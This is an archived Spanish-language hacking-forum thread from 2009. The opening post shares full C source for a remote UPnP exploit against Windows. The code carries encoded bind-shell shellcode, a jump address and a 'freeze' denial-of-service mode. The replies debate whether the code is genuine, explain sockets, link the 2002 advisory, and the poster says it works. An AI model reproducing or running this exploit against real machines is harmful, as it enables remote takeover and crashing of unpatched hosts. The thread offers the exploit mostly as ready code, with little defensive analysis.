elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:49  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  UPNP Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: UPNP Exploit  (Leído 2,817 veces)
ViperDoom

Desconectado Desconectado

Mensajes: 39


Mess with the best, Die like the rest


Ver Perfil
UPNP Exploit
« en: 29 Enero 2009, 13:00 »

1° quiero agradecer a un amigo que me lo paso! (J.D.); quiero dejar en claro que no lo he probado, me lo pasaron y queria compartirlo con ustedes!

Ahora el exploit:
Código
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
 
#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90
 
/***************************************************************************/
 
int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;
 
unsigned char shellcode[] =
       "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
       "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
       "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
       "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
       "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
       "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
       "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
       "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
       "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
       "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
       "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
       "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
       "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
       "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
       "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
       "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
       "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
       "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
 "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
       "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
       "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
       "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
       "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
       "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
       "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
       "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
       "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
       "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
       "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
       "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
       "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
       "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
       "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
       "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
       "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
       "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
       "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
       "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
       "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
       "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
 "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
       "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
       "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
       "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
       "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
       "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
       "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
       "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
       "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
       "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
       "\x68\x68\x68\x68";
struct hostent *he;
struct sockaddr_in their_addr;
 
 
 if(argc!=3)
 {
   fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
   fprintf(stderr,"-f freeze the machine.\n");
   fprintf(stderr,"-e exploit.\n");
   exit(1);
 }
 
 
 if(strstr(argv[2],"-f")) {
   num_socks=FREEZE;
   send_buffer=sendXP;
 }
 
 if(strstr(argv[2],"-e")) {
   num_socks=1;
   send_buffer=request;
   bindport^=0x9797;
   shellcode[778]= (bindport) & 0xff;
   shellcode[779]= (bindport >> 8) & 0xff;
 
   for(i = 0; i < 268; i++)
           jmpcode[i] = (char)NOP;
 
   jmpcode[268] = (char)0x4d;
   jmpcode[269] = (char)0x3f;
   jmpcode[270] = (char)0xe3;
   jmpcode[271] = (char)0x77;
   jmpcode[272] = (char)0x90;
   jmpcode[273] = (char)0x90;
   jmpcode[274] = (char)0x90;
   jmpcode[275] = (char)0x90;
 
   //jmp [ebx+0x64], jump to execute shellcode
   jmpcode[276] = (char)0xff;
   jmpcode[277] = (char)0x63;
   jmpcode[278] = (char)0x64;
   jmpcode[279] = (char)0x90;
   jmpcode[280] = (char)0x00;
 
   for(i = 0; i < 32; i++)
        execode[i] = (char)NOP;
   execode[32]=(char)0x00;
   strcat(execode, shellcode);
 
        snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
 }
 
 if((he=gethostbyname(argv[1]))==NULL)
 {
   perror("gethostbyname");
   exit(1);
 }
 
 
/***************************************************************************/
 
 for(i=0; i<num_socks;i++)
   if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
     perror("socket"); exit(1);
   }
 
 
 their_addr.sin_family=AF_INET;
 their_addr.sin_port=htons(PORT);
 their_addr.sin_addr=*((struct in_addr*)he->h_addr);
 bzero(&(their_addr.sin_zero),8);
 
 
 
 for(i=0; i<num_socks;i++)
   if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
 {
   perror("connect");
   exit(1);
 }
 
 
 for(i=0; i<num_socks;i++)
 if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
 {
   perror("send");
   exit(0);
 }
 
 
 for(i=0; i<num_socks;i++)
 close(sockfd[i]);
 
 
return 0;
}
« Última modificación: 13 Febrero 2009, 21:44 por sirdarckcat » En línea

"De todo lo que he perdido, lo que mas extraño es mi mente" ~ Ozzy Osbourne

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: UPNP Exploit
« Respuesta #1 en: 29 Enero 2009, 16:38 »

WTF?!?!

Es de UPNP, pero por que usa sockets ?

seme hace que es un fake.
En línea

Bien Super Divertido
@wifigdlmx
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: UPNP Exploit
« Respuesta #2 en: 30 Enero 2009, 00:16 »

@Anon
Apenas lo estoy mirando, que tiene que ver los sockets en el code?, es correcto usarlos o a que te referias Anon?

Es el mismo code que esta aqui
:http://www.securiteam.com/exploits/5SP011560G.html

-berz3k.
« Última modificación: 30 Enero 2009, 00:20 por berz3k » En línea
ViperDoom

Desconectado Desconectado

Mensajes: 39


Mess with the best, Die like the rest


Ver Perfil
Re: UPNP Exploit
« Respuesta #3 en: 30 Enero 2009, 01:47 »

socket = conexión (algunos me van a matar por hacrlo tan simple, pero sirve para la explicacion ;P ) ahora, se utiliza porque el exploit se ejecuta para ocacionar la intruccion en una maquina remota que trabaja con windows windows
En línea

"De todo lo que he perdido, lo que mas extraño es mi mente" ~ Ozzy Osbourne

Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: UPNP Exploit
« Respuesta #4 en: 30 Enero 2009, 02:55 »

es como el kath, tambien usaba sockets para petear las maquinas en lan y obtener la shell
//fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: UPNP Exploit
« Respuesta #5 en: 30 Enero 2009, 14:28 »

bueno yo tampoco sabia.. pero si buscan en la wiki, te dice que es un protocolo que tiene implementacion sobre tcp, udp, html, etc etc
« Última modificación: 30 Enero 2009, 14:31 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: UPNP Exploit
« Respuesta #6 en: 30 Enero 2009, 17:11 »

Yep, pero aun no entiendo lo que querria decir Anon sorprendido respecto a los sockets , esperemos su response XD

A mi me gusta esta definicion en Spanish

:http://www.arrakis.es/~dmrq/beej/theory.html

-berz3k.
En línea
ViperDoom

Desconectado Desconectado

Mensajes: 39


Mess with the best, Die like the rest


Ver Perfil
Re: UPNP Exploit
« Respuesta #7 en: 30 Enero 2009, 21:02 »

berz3k : Muy buena la pag con la definicion es exellent para una newbie!
En línea

"De todo lo que he perdido, lo que mas extraño es mi mente" ~ Ozzy Osbourne

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: UPNP Exploit
« Respuesta #8 en: 31 Enero 2009, 17:38 »

A va ignoraba que UPnP tubiese funciones que trabajaran bajo TCP.


1° quiero agradecer a un amigo que me lo paso! (J.D.); quiero dejar en claro que no lo he probado, me lo pasaron y queria compartirlo con ustedes!

Llegas y publicas el exploit, sin embargo no se dice exactamente que vulnerabilidad ataca (Dices que no lo has probado valla).

Segun he visto en el primer link que puso berz3k

:http://www.securiteam.com/exploits/5SP011560G.html

es publicado en 2002, ahora buscando mas de la noticia parece ser que esto empezó desde el 20 de Diciembre del 2001

:http://www.grc.com/UnPnP/UnPnP.htm

Valla una noticia desde hace 8 años, me sorprendió ver que todavía existen equipos desprotegidos en internet.


A mi me gusta esta definicion en Spanish

:http://www.arrakis.es/~dmrq/beej/theory.html


Obvio si se que es un socket y como programarlos.  :¬¬ No se que estaban tratando de decir con tantas deficiniones de Socket  :¬¬

Saludos



En línea

Bien Super Divertido
@wifigdlmx
ViperDoom

Desconectado Desconectado

Mensajes: 39


Mess with the best, Die like the rest


Ver Perfil
Re: UPNP Exploit
« Respuesta #9 en: 31 Enero 2009, 22:03 »

1° Si eres tan observador verias que nadie dijo que era un NOTICIA solo que me gusto la idea de compartirlo por el simple echo de que como a cualquier lokito de la informatica analiza el codigo y se extacea buscando ya sea algun error u otra manera de hacer las cosas!....
esta bien entiendo de que no todos somos asi pero bueno!
2° Ahora lo use y te va a sorprender lo vien que funciona!!!
En línea

"De todo lo que he perdido, lo que mas extraño es mi mente" ~ Ozzy Osbourne

APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.781


Toys in the attic.


Ver Perfil
Re: UPNP Exploit
« Respuesta #10 en: 1 Febrero 2009, 18:01 »

A va ignoraba que UPnP tubiese funciones que trabajaran bajo TCP.


1° quiero agradecer a un amigo que me lo paso! (J.D.); quiero dejar en claro que no lo he probado, me lo pasaron y queria compartirlo con ustedes!

Llegas y publicas el exploit, sin embargo no se dice exactamente que vulnerabilidad ataca (Dices que no lo has probado vaya).

Segun he visto en el primer link que puso berz3k

:http://www.securiteam.com/exploits/5SP011560G.html

es publicado en 2002, ahora buscando mas de la noticia parece ser que esto empezó desde el 20 de Diciembre del 2001

:http://www.grc.com/UnPnP/UnPnP.htm

vaya una noticia desde hace 8 años, me sorprendió ver que todavía existen equipos desprotegidos en internet.


A mi me gusta esta definicion en Spanish

:http://www.arrakis.es/~dmrq/beej/theory.html


Obvio si se que es un socket y como programarlos.  :¬¬ No se que estaban tratando de decir con tantas deficiniones de Socket  :¬¬

Saludos





No se mucho del tema, por eso pregunto, los ordenadores vulnerables no serian los "routers" de cada LAN?? y estos para actualizarlos habria que actualizar el firmware, cosa que hay gente que no lo hace, mucha gente...
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
achernar_

Desconectado Desconectado

Mensajes: 114



Ver Perfil
Re: UPNP Exploit
« Respuesta #11 en: 2 Febrero 2009, 19:05 »

Creo que si es para el router, una vez me colgué un rato largo con un sniffer y veia paquetes que no sabia que eran y eran precisamente paquetes con informacion relacionada con UPNP (Universal Plug and Play) y si mal no recuerdo creo que era el msn el que mandaba estos paquetes y supuse que seria para intentar configurar el router.
En línea

Tengo una habilidad sorprendente para hacer cosas que no sorprenden.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
software upnp nat port mapping
GNU/Linux
xkiz ™ 1 197 Último mensaje 23 Marzo 2012, 19:40
por xkiz ™
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines